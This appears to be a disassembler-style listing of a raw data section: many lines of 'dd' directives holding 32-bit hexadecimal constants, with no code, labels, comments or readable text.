dd 922600FAh, 0E57D050Dh, 97078AB0h, 0A8DBCA07h, 5CC08170h
dd 987E0169h, 61254B72h, 404ED1F1h, 0BC30F094h, 990974B8h
dd 24FD5033h, 7EFA2B6h, 0EF082E3Dh, 0C7EF8E4Fh, 48580320h
dd 240071C2h, 830FCB11h, 6BF888Ah, 0BCA328E9h, 0A0179D3h
dd 9B8FC5CAh, 80E2D2D6h, 0D3B94E9Ch, 722107B6h, 0E0D8A58Ch
dd 6498112Ch, 6EE0EB02h, 0E3C76709h, 0E02EEB8Ah, 8A446Ch
dd 711E578h, 0CF37B4EFh, 0AF930500h, 0B35B7F16h, 1E55FC15h
dd 54E3F8h, 4DC450Ah, 1701240Bh, 53604A6Fh, 0CE8988Dh
dd 0A54003Fh, 41BDDFBFh, 2B01F89Ah, 0FC121AB1h, 78E4E9D9h
dd 3442018Dh, 0EBAF0B4Bh, 2932ECA7h, 12008CF6h, 83E71728h
dd 1C914CFEh, 801D9FBEh, 0F692B5A8h, 8D005EE0h, 5462A4C6h
dd 0C0590D61h, 1867BE10h, 0DBFF656Eh, 0D2BA2BF8h, 0B0E2F200h
dd 907C5E0Bh, 0DD470073h, 0CE4BDA84h, 2A3E4A71h, 745C99h
dd 0FB7F79B9h, 0EA0343Ah, 916201D6h, 6C971800h, 5900640Fh
dd 0F18152BCh, 5F92DAh, 2991126Ah, 0B6A426BAh, 3468AC01h
dd 0C5E688DDh, 0FC2D6424h, 73F80770h, 0A125AC1Fh, 802B9B4Ch
dd 18B5F311h, 6074E3h, 0F6811D0Dh, 0FEE66B58h, 9F005C73h
dd 0D9DA28A2h, 4135560h, 0E4CC1E9Eh, 40008731h, 4C36C5Bh
dd 0BBDF6F00h, 1C6672C4h, 0ED400E75h, 2C87D043h, 56B1C00Bh
dd 4200C604h, 8F8E4AEh, 5046B2h, 868409A4h, 1BCCEF69h
dd 0A5C99700h, 9C1ACF8Ah, 3C5F0029h, 0FD6FE81Eh, 0B60925Bh
dd 93FA1678h, 51390307h, 6E4F7A4Bh, 66E16890h, 0C6C04200h
dd 44869849h, 4E2C003Eh, 5CAB4840h, 61FA079Eh, 0A74F9F00h
dd 0C653AD30h, 0CF340094h, 851D455Dh, 0F70227B5h, 71339E06h
dd 0DB15607Eh, 0ECAB0C98h, 44800C12h, 864A930Dh, 0F40207Fh
dd 0DEF584h, 85F22E92h, 17D7BE5Ch, 8C124202h, 0E03C4307h
dd 7C68E151h, 632A00DCh, 0E6C3AE81h, 92B00F58h, 0F300597Dh
dd 34CE12D4h, 0ECED2C0Dh, 67FF1984h, 8068F8ABh, 3D02568h
dd 4847BAA3h, 0B10F94B2h, 4A0C2DEh, 8E349E60h, 90FDE200h
dd 0EEF1F4A6h, 99920053h, 0ABFE4650h, 0DF3B2DA9h, 8F5605D9h
dd 46C0AEB0h, 24A30AC2h, 80EC7ACFh, 595CBDB2h, 177B7522h
dd 70C7880Eh, 0AC3961E7h, 64F87FF6h, 0DEE800C9h, 6C8F6AB3h
dd 0D185460h, 0A678B61Ch, 913B00FBh, 905342C8h, 0D400822Dh
dd 9E1C9606h, 0FC402BFDh, 738B7A5Ah, 2DEE0069h, 0A470753Bh
dd 12004E3Eh, 7DE0F87Ah, 0DE42A165h, 0DFBEC8A0h, 4C8CDB03h
dd 40CFD83Bh, 7DD703AFh, 0C09F2FA2h, 73A1B80Eh, 91C27D19h
dd 40940426h, 0B8337C68h, 27EF0723h, 707A309Bh, 63E179B0h
dd 0C31A670Fh, 0DD930721h, 8AA19510h, 5AFD005Ch, 97985DC5h
dd 0F8009B40h, 0FA03F515h, 727501h, 25140982h, 4A67C5B6h
dd 0CA03ECB0h, 6436FA96h, 55539078h, 0A8470295h, 0F2CD5B48h
dd 73298D40h, 179FCF03h, 0A75F323Bh, 0AFA0EFB1h, 0C54560h
dd 6547CABh, 5015B67Ah, 1C13B00h, 6B4348DAh, 4BE00AAh
dd 0B0E82DC3h, 0C8002175h, 1979C252h, 64057Bh, 0EA113777h
dd 0AC2DD3F5h, 5C669A00h, 0BA103830h, 441900ABh, 57429028h
dd 4C742AA8h, 301F6701h, 0F99462F2h, 3D266ED8h, 652CFB36h
dd 8B5D0088h, 0DD0769D4h, 0E8BBF600h, 5AB31398h, 0D66E03BDh
dd 0CC0DD092h, 3F023B80h, 2C046D1Ch, 53C93280h, 3EB969h
dd 13520E44h, 0A9A257BCh, 6C9BB500h, 41D290DFh, 9437004Eh
dd 5424C502h, 0D11D1D6Fh, 83C06ACDh, 0C38252BEh, 0FC150057h
dd 3D33DC6Dh, 0C800EA74h, 0D360EB7Dh, 49630Eh, 0FCA2FD7Ah
dd 40902671h, 2745F51Eh, 53C0AE5Eh, 5A991F0Fh, 786C77AFh
dd 1BEC0F16h, 0AC003ADFh, 0E224F1A1h, 0B800FDEAh, 9613A33Ch
dd 0B8FC2880h, 4EEF1728h, 0B64A095Bh, 33C30B00h, 5030EB8h
dd 8C01FCD2h, 892FA864h, 0D0AD48D6h, 3999411Fh, 3FC09583h
dd 0E67CE417h, 190008FEh, 0DEA58235h, 262FAFB0h, 80DCB50Ch
dd 0D514F443h, 1B98BFBCh, 80EEAD38h, 0E26433C0h, 9EB445h
dd 5EA258A7h, 0D580E366h, 0BE7E0300h, 0C2F51D41h, 2D1E4A9h
dd 18E95FCCh, 44C0BCA0h, 249948DBh, 9F9ABF04h, 0C818080h
dd 39207EB9h, 0E40039B6h, 0E54CDEA6h, 9675F233h, 25C33E03h
dd 26A83D47h, 4378A248h, 0C0CC80DDh, 41317BF0h, 0D2720200h
dd 37425971h, 61E40055h, 0E0F5A21Dh, 763D870Bh, 80F0BE8Fh
dd 8A02D8BFh, 60801A08h, 397A68F1h, 185820B1h, 973E0077h
dd 74C73F57h, 6D1008Fh, 382612E6h, 2B00BD8Dh, 57A8AB65h
dd 16EECCA3h, 729ACBh, 0A64E0C6Ch, 6500A7DDh, 1DE549D6h
dd 16D51E6h, 4CE0D838h, 0F95B1CB0h, 5860DA56h, 0B8038598h
dd 0A74D07F8h, 0D2D8004Eh, 16E10239h, 0A14DD584h, 20C210C4h
dd 7385D783h, 0A8200BFFh, 91B6CE72h, 0D3CDB32Ch, 6DC62200h
dd 75A88CE1h, 0D43A009Bh, 82C5BA26h, 0CF003336h, 0A427C6A3h
dd 0BBB2E5h, 2A982912h, 193C6358h, 0E08CF200h, 21C2F635h
dd 2E9A001Dh, 0FC3DE80Dh, 4004145h, 0E0A2E3EDh, 4CA755C6h
dd 0CD0179B3h, 87B1A0DBh, 0BE5AE89Ah, 0D700297Ah, 0B9B42F93h
dd 924F3F4h, 641F197Ch, 0EA31E280h, 0BB00ED3Eh, 709A47C8h
dd 0E1C3C4h, 209CC45h, 55D4A505h, 6900C8FCh, 0E3724AD3h
dd 194A4B8h, 1F905A7Fh, 0C8E2D266h, 5D00C311h, 36AAC823h
dd 0B8ACE5h, 0FBB5730Bh, 0DCECD2E6h, 0BC5C6E00h, 81DBE2BDh
dd 0D4020076h, 2A8E7270h, 4D1C6233h, 13035B3Ch, 0C87153AEh
dd 3234F6h, 9886CA6Dh, 0FB08B3F9h, 0A8026907h, 5F402FD3h
dd 429FBDh, 0A266BB39h
dd 68510F56h, 4FA3A600h, 7F92DBEEh, 2BB00243h, 961080F0h
dd 0CE78A7E0h, 0EFDEF603h, 8861B32Ch, 0BDCF2Fh, 54161CAAh
dd 39C2A8D5h, 8697E07h, 0BE209A09h, 0E55086B4h, 25ACCh
dd 48DEB871h, 0FDAD7DAEh, 0EE24F400h, 0A66AB742h, 72943907h
dd 9B718D80h, 769C4AFCh, 4EA5C100h, 81880D29h, 0DAA814EAh
dd 0F400E5B0h, 0ACCE8ABBh, 4000E932h, 2BD63928h, 0E8DC3DD2h
dd 9E4E0C9Bh, 2EB82FCBh, 821C6C7Dh, 0BA408087h, 4914FC19h
dd 51D300A4h, 6A449902h, 0A10F455Fh, 609160B9h, 0F7B3E113h
dd 0C00B005Bh, 0CBB08AC9h, 9600DDD5h, 68D7E2ACh, 8B7E32h
dd 1240D921h, 18D3E1B4h, 865E0D00h, 157624CAh, 1D4401C0h
dd 5FED1173h, 4639D88Eh, 0A66B9B00h, 0F67E14C6h, 0DD7F00FCh
dd 5960CEADh, 0F00514Ah, 15167561h, 2A7BEFEh, 0B6ECF23h
dd 0CC8049ABh, 61EC7B7Ch, 9D2BE1C0h, 5D7597h, 26A1706Ch
dd 0A228FDF4h, 0EDBFC00Bh, 1D9B00FAh, 9B1CC1h, 858B5D0h
dd 0ACF2FC92h, 0A9E45Ch, 213709D3h, 758F057Ch, 2BCCA0B3h
dd 0C9E22E9h, 56F0B01Dh, 458B3840h, 0A01F4453h, 4A921Ch
dd 27630A75h, 7616A1B4h, 3E315400h, 79A2938h, 90EE8EDh
dd 3D2C56F9h, 0A0718407h, 0FA53BC89h, 27649F00h, 0B4053774h
dd 0AAA800C9h, 8ED3BEDCh, 0E200B73Dh, 82548487h, 53A911h
dd 0CF151C47h, 551B8E8Ch, 3A017301h, 0EB23D0A6h, 62545ECh
dd 0CA6E48A7h, 6B1C10E0h, 7C40E7EDh, 0F5BE541Fh, 92850097h
dd 0B27DA42Fh, 6E00E330h, 45AA5D35h, 2A2713h, 98FB7B61h
dd 69C34189h, 0D13DCA00h, 0C6326A09h, 0FC8E04EBh, 80C5D8AEh
dd 6CBA1151h, 3FCE1E00h, 0E68A74E7h, 0D02D2CC4h, 607505A9h
dd 0E5D80032h, 0C95B6CAh, 572A9200h, 33A90881h, 358D337Ah
dd 0DB98A39Ah, 275C1D7Dh, 119C30B1h, 48551CCAh, 0D50490C2h
dd 80192343h, 3B89B8FDh, 0DD35E51Fh, 8125F98Eh, 0FB71D97Eh
dd 0B2CE708Ch, 77053508h, 0DD89C387h, 0A7CC15C3h, 850E0591h
dd 0F1D21BBh, 5CA83084h, 9A1D5774h, 7B2664A2h, 5A81ED1Fh
dd 2FDDCF27h, 0FF0160h, 0B244589Fh, 5112465h, 3CC31228h
dd 4D00927Ah, 3DABFC53h, 1EC41DFh, 38BFDD8Dh, 705A9A93h
dd 5D00BA95h, 11DC6B0Dh, 0CC66528h, 9F123754h, 0C50C5388h
dd 0B877745Bh, 703182E3h, 0FD000AC6h, 0F6ACAE8Eh, 2E389C73h
dd 718483C0h, 0E8DFF061h, 7ACAC1h, 19D3B0C7h, 1DBB99A6h
dd 1A709200h, 54154B9Ah, 247076h, 75E290A2h, 0F4813A74h
dd 3114C803h, 0A87BA662h, 7F821Eh, 16597C80h, 0E3534642h
dd 0FC549500h, 0E214B8ADh, 7CEAE8h, 49A94E03h, 0B6C3D5B9h
dd 85605E01h, 0F96A46B2h, 0BFEA9CFh, 0A8D83920h, 424FC0h
dd 0BFE098EAh, 0F42F60C2h, 1095A900h, 660E74ACh, 0CF28C08Ah
dd 0EE7838D3h, 4E0062F0h, 5F39D19h, 0A8683C71h, 34B38Ch
dd 2D228817h, 0B01D6D13h, 301F2F01h, 5AAE4B2h, 779BC8D8h
dd 0B4E00F7Ch, 33E02474h, 5C02E1D3h, 0B7B8B4A8h, 1A652C05h
dd 0E0C0AC60h, 1951474h, 34FBECCFh, 8AE361E2h, 0E083FD70h
dd 753387BCh, 15603FAAh, 18AC26h, 8892BA32h, 0DAB1EC9Dh
dd 2305FF00h, 0F0B47E52h, 9A36090Ah, 34008CF1h, 3CBA44D5h
dd 34C83907h, 0DA10856Bh, 4650D96h, 0E2A51AE3h, 0DD38C21Dh
dd 1FE59CA1h, 0C2C2DA3Ah, 13B92D60h, 88502803h, 8080B46Ah
dd 0F102D19h, 1F2ABF35h, 875E1D27h, 94B4C06Fh, 2D008C3Eh
dd 9FF38FB1h, 788854h, 62B64136h, 706DB43Ch, 11FA7D34h
dd 10C047Eh, 4E10969Bh, 51AA0200h, 2A5E9DE0h, 0F6A7717Ah
dd 3A360070h, 0BB531501h, 0DF32936Bh, 1052296Ch, 1189C3C9h
dd 0F844B908h, 85108456h, 0DD212B76h, 91FD7F08h, 37C300AAh
dd 5B3343FCh, 1567005Fh, 3A46B5D5h, 5C00A39Fh, 0ABB43071h
dd 5FFF1Ch, 8F9DF1F6h, 0AAC63604h, 3578B300h, 33225828h
dd 0A8F000F7h, 0F9165A39h, 8100E1B1h, 0D0F15542h, 7A71AAB8h
dd 0D4B00FEh, 1EC8D6C3h, 3C00F589h, 10A472D1h, 0E7A2FFh
dd 95132803h, 0F4C7FAF2h, 691C7300h, 0CBD24DC2h, 28120024h
dd 0E4292B64h, 4F44535h, 2A8AE700h, 22E25260h, 0F39100D9h
dd 94F4BF0Ch, 2F5841A1h, 0C3A9007Fh, 99DDA082h, 8E5B0267h
dd 0EA39C707h, 0DDFD4A0h, 0EF00F70Ch, 8236CB9Ah, 3E9BCA7h
dd 2FBAACFh, 0F5D877C3h, 0FC1FB3B5h, 0A80BDA2h, 0E07FBE01h
dd 0FFE60C19h, 0C6B0D443h, 95EAE100h, 0E7BEAD88h, 0BB410556h
dd 433AE6h, 0E35DBCBh, 0EE02C0D5h, 5E2644E8h, 1C2CE0A5h
dd 0F2D61273h, 0D1C00F9h, 967C5B3Fh, 1657200h, 2D93EE07h
dd 0D4020078h, 2F90D919h, 80FC8674h, 0D1289A00h, 9520F65Eh
dd 485C0033h, 943BDDC8h, 53000F25h, 60EC03AFh, 18686Eh
dd 0DD7B39Fh, 0F2E53044h, 0C04CAD03h, 0E8BF58D4h, 0E0E664Ah
dd 0C88B8EEFh, 98D0D83Bh, 9C7A3594h, 5ECA610Eh, 16405D29h
dd 0D6C96048h, 0CE130089h, 0FBE755A3h, 0A838FE54h, 0A1F20799h
dd 60EFF90Ah, 0A65E6964h, 59700F38h, 0AF0E5585h, 801676C4h
dd 0FDC0AB98h, 2DBEB107h, 0D100CFB9h, 0C56EF0h, 4CDBB521h
dd 1A19E50Bh, 0CCE94307h, 0B660CB74h, 0F071DEh, 11830C70h
dd 0CF2AE7FBh, 0B21F7E09h, 888A0029h, 0AE0BC507h, 1C793DF4h
dd 0ADB41Dh, 0A89957BBh, 53267140h, 80018D5h, 0A7C7399Eh
dd 48C40356h, 3D20F201h, 3AF5B980h, 0FC73FF3Ch, 3F2BA000h
dd 146D86F4h, 9FD9017Fh, 19BD05D1h, 502CC1B0h, 0AC8AA3F0h
dd 34F4C900h, 0E93FC42Dh, 6EC52447h, 8E9A0044h, 7C78ABDFh
dd 31F59800h, 0FE6B5C76h, 15E3073Ah, 0E3655247h, 26997FBFh
dd 0D3F2FCC9h, 12587B01h, 0F6B13FC6h, 97A5C8h, 67385165h
dd 4F0246D4h, 50EA621Eh, 0A94CAAC0h, 2FA1D2h, 1D2B4958h
dd 7194D0Ah, 8C89C100h, 0B1BEB6EEh, 3A7487h, 0C308736Ch
dd 5A7FE944h, 3D9DCF01h, 5EAA271Ch, 3BA3CECh, 89D466F9h
dd 86B0ABAFh, 0E7E0E8AEh, 0CF4DC800h, 7F5780FBh, 0CBF004Bh
dd 3E7D614Ah, 3B14D85Ch, 1FC0708h, 0E4AFACDFh, 85FC792Ch
dd 0AEAD0018h, 695D33E9h, 0D7004531h, 0B4984139h, 0E4B796h
dd 8A42657Fh, 687A8C16h, 471DF400h, 0F22B1F23h, 877E1D85h
dd 3B9C00ADh, 91A68CA2h, 0B0E75100h, 7FAA30Bh, 867D00FBh
dd 305BD43h, 0B89146A9h, 57D4680Eh, 60BAD30Fh, 0A851BCF1h
dd 6AE8FF3Dh, 888600EBh, 41584A7Dh, 0F4E37107h, 0E4003E1Dh
dd 273145BCh, 3387DF9h, 0A4ABC9DEh, 0D4C0D25Fh, 55006A08h
dd 59E29517h, 15CF7E5h, 48C898B9h, 434A6DAAh, 80E725CDh
dd 931D4F07h, 92D4D105h, 74C05733h, 121FE7h, 0FB181037h
dd 0D85E3619h, 72ADF600h, 5181A0E8h, 0E3CD02D9h, 2F073F4Fh
dd 0B8799F80h, 52003B7Dh, 8121C2Bh, 93A0A8h, 63864237h
dd 0E3C4B161h, 74C0B800h, 24E6E1BAh, 109068h, 0ECF428CCh
dd 0DF471F44h, 80C7963Dh, 8F24F22Dh, 3B5568C0h, 0C500266Ah
dd 9583D35Dh, 341E899Ah, 3B00DDBEh, 884A9D75h, 0E5B30047h
dd 0E824C217h, 0F71202CFh, 173BC5h, 8EFBB0h, 94A7C691h
dd 5AE70508h, 71228B01h, 1C44664Bh, 0E0C77C21h, 0F5C7D2B3h
dd 1C14C30h, 0E4081BAAh, 40D38081h, 0B5D6F4CCh, 0F5316200h
dd 5A3E49C3h, 8BBB0028h, 8434441Fh, 0A10BE299h, 31072h
dd 386FCE49h, 0ACDC0F0Eh, 48604592h, 664F72F3h, 533D3Ch
dd 201D39ABh, 0F8C3C4B8h
dd 7A5F46Dh, 0CAFB2811h, 56DE9161h, 131BF45Ch, 9ED02200h
dd 473BED94h, 0D28104B8h, 80BB4E8Dh, 0FD3424F4h, 82CC6000h
dd 9BEFA4D0h, 0C407007Bh, 84E8CDF6h, 0B8137C6Ah, 0C900B9CEh
dd 3DC1CC54h, 5E88019Eh, 0F934AB5Bh, 0FCD8603Ch, 0F878A700h
dd 0EAA1DDD5h, 6622C2Bh, 497A80B4h, 0C21C1144h, 0B2B43F50h
dd 65AB8900h, 0BE25058Fh, 0CF781F70h, 0BF178091h, 9C0C8536h
dd 0E65B1401h, 6CF7CBA0h, 75184864h, 0AC030724h, 0E72C999Ch
dd 3A52C277h, 0BE5A30C0h, 0C17CEE0Bh, 0A28C209Dh, 4C1D07AFh
dd 0AA0F5C0Ch, 978082FFh, 0BC885721h, 7C392460h, 7B3A2D6Bh
dd 0D1D50EDCh, 74E06F8Eh, 20E3CE1Dh, 0E4CBDE1Eh, 0E1AE9580h
dd 56385E0h, 3E28A59h, 8FD20061h, 22E79DEAh, 6480109h
dd 0A14800D9h, 1B153AEh, 37DE143Dh, 0FC676064h, 81F60B72h
dd 79998E00h, 2A8C1DDBh, 56A3133Ch, 0B74F00CCh, 2B851EB4h
dd 16F56C00h, 8362BBC8h, 67971D15h, 3732C3F9h, 78F0EF57h
dd 5E1341D4h, 4C02D8EEh, 405B3A74h, 103A782h, 6BC34C8h
dd 0E09E287Ch, 0C700D070h, 41243D44h, 19C07Ah, 0FCD93389h
dd 0B67DAE9h, 4A5E531Eh, 0F4321140h, 0F2A1DC9Bh, 0D0EC17F8h
dd 0B630098h, 64569A5h, 0DA1B4D0Ch, 8A68B9h, 9AF97689h
dd 2359F7EDh, 0BD623Ch, 0A5ECF0CBh, 3CC171h, 6A179693h
dd 0F7D50A8Ch, 300ABE75h, 0D9296CD4h, 35733700h, 0B2364Fh
dd 5980F8EAh, 21DE9472h, 0C8FC531Eh, 478A7180h, 0E69AB4B2h
dd 0C87B6055h, 0AFE14579h, 50DC0600h, 0FD319CA7h, 225B00AEh
dd 0BBC289Fh, 0FE004430h, 54202B1Ch, 18DCF25h, 9B3897E8h
dd 0EF8B8253h, 29B950E7h, 0E302589Eh, 0A5F27528h, 0C8A08063h
dd 0F4D4E9FDh, 0F74100B1h, 3E377EEEh, 780C6632h, 296D72F2h
dd 2DC42CEh, 9A1E22CAh, 1C56E0A4h, 11794Fh, 4673DF51h
dd 0F14AAD12h, 81AC2600h, 0CA783C45h, 7D9C00AEh, 76F36657h
dd 0B93E022Eh, 0D79893EBh, 5C07BA12h, 0A2E0459Eh, 5395A8h
dd 8789EC63h, 290BD9AAh, 0CCFD2528h, 0E6BFD203h, 3C39A2B9h
dd 0AF015724h, 697D041h, 0D880F2DEh, 7E4A34FFh, 0F2C3DC00h
dd 0C6084D04h, 5F480071h, 913BB22h, 20001ABh, 1C397238h
dd 190D8Dh, 0E711C4F4h, 32859780h, 0FCC60700h, 8CA55E9Dh
dd 145600DAh, 0D5C8AD40h, 3BFCD306h, 0E9873E09h, 17A8E57h
dd 3797BAFEh, 253020h, 0E412DA2h, 3AC6AD1Eh, 108A0C01h
dd 0B12C71DBh, 9E2049D5h, 0D17D0093h, 742316CCh, 4A3FA456h
dd 40F480EAh, 3009C06Ah, 1D7809ECh, 76005F0Bh, 87E1635Bh
dd 731C8AF0h, 0EB57B3CDh, 18668A0Ch, 7ABC00C9h, 9064CBD9h
dd 2A1B8F38h, 0F8402006h, 60CC1B1Ah, 69C5111Fh, 0F5385B67h
dd 5ED9F88h, 0D1C37100h, 9203A2h, 0ACE524B0h, 0E29DF314h
dd 2387AB00h, 81D9A5D8h, 0E6B30030h, 0F62938F4h, 8031EEAh
dd 495E5C7Ah, 1356037Ch, 0BD7486A6h, 55F4C5C0h, 0D5B04700h
dd 30066059h, 0F6430025h, 0F50EBC62h, 52008932h, 0C22FD37Ah
dd 3BCF75F7h, 6C007BB1h, 0B2F6DFCBh, 5A000C41h, 0BB8258F8h
dd 0D6C55Bh, 2D8EA9A8h, 4A491C7Bh, 0AD108400h, 43D79469h
dd 0CE511EA1h, 232E4011h, 0D0837E8h, 4F428502h, 0E0B23D27h
dd 0B09A1087h, 886300F9h, 0CF4530D2h, 271D8A6Fh, 0C38199B2h
dd 0DAC07426h, 1ACDB0D3h, 8065007Eh, 8BF806D9h, 3E0C593Ah
dd 98F470F1h, 2C8D284Ah, 2B75E5h, 6D29EB8Fh, 854837B8h
dd 8E502E00h, 0BB025CF0h, 93DA0F9Ah, 0AE48BDDh, 0D0BC8736h
dd 54CD338Ch, 2D91850Eh, 28C6E05Eh, 3B3E5A81h, 9D8018F8h
dd 7819DB55h, 1300ED46h, 0BD03C7BAh, 27F56A7h, 0D6860F0Eh
dd 9086AA55h, 490F18BFh, 96929990h, 0E065505h, 826C89C1h
dd 69AC34h, 43D43B09h, 0FA71E58Dh, 8F7E9B00h, 493E1155h
dd 0CA200029h, 0E719AAFDh, 960089C2h, 0E64F5E93h, 0C82E57h
dd 58CBDC97h, 12186CA4h, 0A107D490h, 50681663h, 0BDC73190h
dd 0F292001Ch, 0C405BAC8h, 8F3A1AD4h, 699800D2h, 0C55C6EAh
dd 7B3F00A6h, 534B4A9Eh, 5F001710h, 0F424EDDFh, 2FB83Ch
dd 0F17BD87Ah, 7202D4C5h, 0CAE61B00h, 0FE13AA32h, 40643FB8h
dd 0CF804502h, 24C86A9Bh, 6300797Ah, 7AD2A89h, 9764DF7h
dd 11B8C6Eh, 71621083h, 0E76621C0h, 0A13C7707h, 4B20EA0Eh
dd 9D29E0h, 59A26D92h, 865CE5E8h, 0F41B1F13h, 4482F000h
dd 0F545C2h, 0E5D885B0h, 4F27F079h, 3B0EA600h, 0CA4BF9D7h
dd 0B362A26h, 3D7100B4h, 0B81F6AABh, 0B300923Ch, 0EE30F17h
dd 5D78030h, 21EB2FBFh, 8E2AC789h, 9C9357C0h, 991E8AB4h
dd 70002C3Fh, 632E00Ah, 0D77A00A8h, 44D55820h, 6A2C7960h
dd 0F58F90E5h, 9CA880EEh, 0C49963h, 89889D9h, 81A6C270h
dd 660EEF07h, 2C50879Eh, 0E59C804h, 56C73B3Dh, 0C58CAE64h
dd 76A7803Ah, 95021158h, 4C358365h, 0DCAC8302h, 7491C08Ch
dd 4ED90092h, 0BE60D0F9h, 4006810h, 0AE4366A1h, 182C98FBh
dd 50E688B8h, 0CA00C631h, 0BE858CA8h, 32D404h, 0E2898B40h
dd 339F280Eh, 0B8BB9200h, 0F649938Ch, 99A400EDh, 0B2C5F0Ch
dd 0FBE29632h, 369E3418h, 77C31F9h, 0C79AC42Eh, 151CB010h
dd 877DDED6h, 85F0BCE6h, 0E9007974h, 510AD773h, 3E33C59Eh
dd 2780A49Fh, 0DCC04F5Fh, 0AC30B5AFh, 0DBD7101Ah, 758010F5h
dd 95CD0017h, 68257EC2h, 0E697022Eh, 58FC5DC0h, 5EE8CC0h
dd 564DC300h, 8A221D2Dh, 1239DF12h, 0C443EF08h, 0B05559FEh
dd 0F9F3098Ch, 58E1B840h, 9BC40136h, 672FE55Ch, 50EC30E9h
dd 571F2407h, 4200EDBCh, 7BBE049h, 0E2450548h, 861C9095h
dd 410064AAh, 0FC9DF8BDh, 0D94807h, 6D6C55A4h, 0E9E1E009h
dd 3FB08F00h, 0C1209938h, 0DEE20061h, 520BF5C7h, 55DD4F6h
dd 9C660084h, 51E61AB7h, 9F5503FEh, 5AA5BD01h, 0BEE1F2F0h
dd 31A29413h, 9600F713h, 33B671CEh, 95D0500Fh, 0DD9886h
dd 8B14AC9h, 0E0CF4B2Eh, 0FE3F9490h, 0DC1A8215h, 6096D965h
dd 0D8CBC720h, 0C53D11F1h, 780E9900h, 436FA92Dh, 0FC275921h
dd 0E3F1ED00h, 4F238338h, 3C5DA724h, 0F75858h, 7F6369D2h
dd 2CA6F31Dh, 3140FB1Dh, 0DBCB5640h, 7ACF2h, 3C749BEAh
dd 68290527h, 97244700h, 2F19E77Ah, 0F0431328h, 7E2204F6h
dd 0D300FE93h, 25CA47A3h, 0ED524DDh, 0F5F900A6h, 0B3786F19h
dd 8DF69F00h, 827FAC37h, 881B1811h, 0D7EE108Fh, 878C5300h
dd 20D25EF0h, 6B150B23h, 0C802778h, 0CA8AB007h, 84BBB400h
dd 5D3D3896h, 0A3400D7h, 511A7FB9h, 860052DBh, 83D5F5DFh
dd 1CBFD66h, 4E7C1043h, 0D44674D3h, 7D758EF8h, 6800CFF8h
dd 285DD2D7h, 0EC865B4h, 0AFED75E6h, 93F6F340h, 0CC1692A3h
dd 4E0029ABh, 0E58CC5CDh, 2355009Eh, 8A163384h, 5E002C14h
dd 3643BC2Fh, 3832531Fh, 4B80B1B3h, 0CF50E75Bh, 850041EAh
dd 0D3BA2FCBh, 0F63D572Eh, 0ADFAD5h, 0A83C5A1Eh, 7C271CD6h
dd 4D0CBA00h, 0B1C8313Eh, 0EB70046h, 73166082h, 27006C84h
dd 0C0F57E8h, 1B81E0h, 32381EF7h, 0F21707F6h, 11002CFAh
dd 2BAC5FBBh, 623B80h, 57998B86h, 54798776h, 816A9E3Bh
dd 0E8F393EEh, 82012D2h, 2C26000Ch, 1C0F3E52h, 0C8001EF4h
dd 0FBA6BC93h, 48C1192Fh, 0C5008C04h, 52057BB7h, 55030F6Fh
dd 7ECE6383h, 6AFFA870h, 0FCAA70B2h, 407B4C88h, 0D68BC900h
dd 59B74E9Eh, 643FAEB0h
dd 0B4AB2AE0h, 575A7107h, 0FED70DF1h, 5F8A7890h, 69D00CBh
dd 0D03AF5E4h, 54FE138Eh, 0A1670F00h, 24FC9643h, 9F3E0012h
dd 0EA8C6459h, 2A60E422h, 3011BD11h, 0FFF0B7E9h, 0B80082F0h
dd 0C4B1A19Ch, 332688Eh, 0F3EF44FBh, 6A805689h, 8A00692Ah
dd 980D5AC1h, 3C45F787h, 7B3AD184h, 0AECC1306h, 72F8B001h
dd 84FBEA28h, 0C102CF0Eh, 32881EFh, 0CAC0D286h, 6EA006Eh
dd 0C48ACC0Fh, 6B1879F2h, 0EFF0B0F1h, 6EE31D68h, 0E0312FAh
dd 581A5430h, 0BFF83800h, 6E0014CFh, 5D5D0FDh, 74B97009h
dd 39860F40h, 5A208A58h, 0CCE48476h, 74C8154h, 37010F81h
dd 0C3E7D012h, 8B6E880Ch, 1BF6F00Dh, 30EC28F8h, 69526AC0h
dd 83F9CB00h, 107B56C2h, 0D29500BAh, 0EE07B0A5h, 0AC005B3Bh
dd 0D9634C45h, 4C20C1AEh, 510055C8h, 6C90E778h, 0E90012E2h
dd 446B09AAh, 0F017A786h, 4E0F0FA0h, 45C0EC5Ch, 272C7493h
dd 0C9E6D200h, 70795A56h, 0FCF30F5Eh, 9461C6CDh, 0BD55F9C0h
dd 75F4F898h, 14A9AA6Fh, 0F1248304h, 6B100044h, 0EDB5BBCFh
dd 4C0B5E8Fh, 80606276h, 246F5FB7h, 0C78C0199h, 4912682Ah
dd 1A2890B7h, 422D5E84h, 3C437DDh, 5121BA26h, 19FB0816h
dd 814C194h, 8BBE96Dh, 0A9882EB2h, 7C59104h, 131C3AFEh
dd 1EA283h, 0DC28A008h, 0C32BA5C0h, 2038CB30h, 424F0h
dd 0A23D0C3Eh, 0C6967572h, 360E2C00h, 0D8F59FE5h, 0B0900033h
dd 0FF9BDCAEh, 0AC0F47AAh, 0D2E4F3B2h, 0D7C97100h, 796EBDh
dd 0A102EFCBh, 0A8785C3Fh, 50000EB0h, 9AC034FCh, 777CDBh
dd 4E4DA40Fh, 9BA5B2D5h, 34E30E01h, 52418EF0h, 0C370F4h
dd 2C5BAD6Eh, 1BC60355h, 54982400h, 8811DEA2h, 3A047336h
dd 0B680A061h, 380EF099h, 21E71DF1h, 0B5C3FCh, 0B2ECCAD8h
dd 430049AFh, 0B18C6B9Dh, 0B503E2h, 5296E559h, 2ADE6F82h
dd 47BAB003h, 80D619E0h, 389902h, 0CB8428A9h, 680763B2h
dd 4FF99E0Eh, 1719B839h, 0E4D901F7h, 8EAC58CFh, 0BB988EBCh
dd 215D6015h, 3979948Dh, 20489E78h, 7A079300h, 599A3613h
dd 6147631Dh, 4A5CF280h, 166D6A5Fh, 133303Ah, 0D7DFB0E7h
dd 0AACDCC89h, 37DC0600h, 20BFBAD2h, 2C38007Dh, 2579682Fh
dd 3C006083h, 0A0074EDCh, 41B6E4h, 8CC03557h, 6A49F63Eh
dd 6345C21Dh, 0C87115C0h, 0F2027BFAh, 96E3072Dh, 61AF51CCh
dd 30C259E7h, 0D00267Eh, 7AA36DE0h, 0FE3480h, 47F6D169h
dd 5A6E3D72h, 0E3AC700h, 1C8E5DFCh, 59C41E32h, 81B943C9h
dd 0F0006E31h, 0D37AFBB1h, 0C35E6385h, 9D687108h, 9C6B62C0h
dd 7B09881Fh, 4775B000h, 0A0CCCF7Fh, 79D635D7h, 89A70006h
dd 29B3DA27h, 0EA12D170h, 401D3FE1h, 2E4E8741h, 55C0D038h
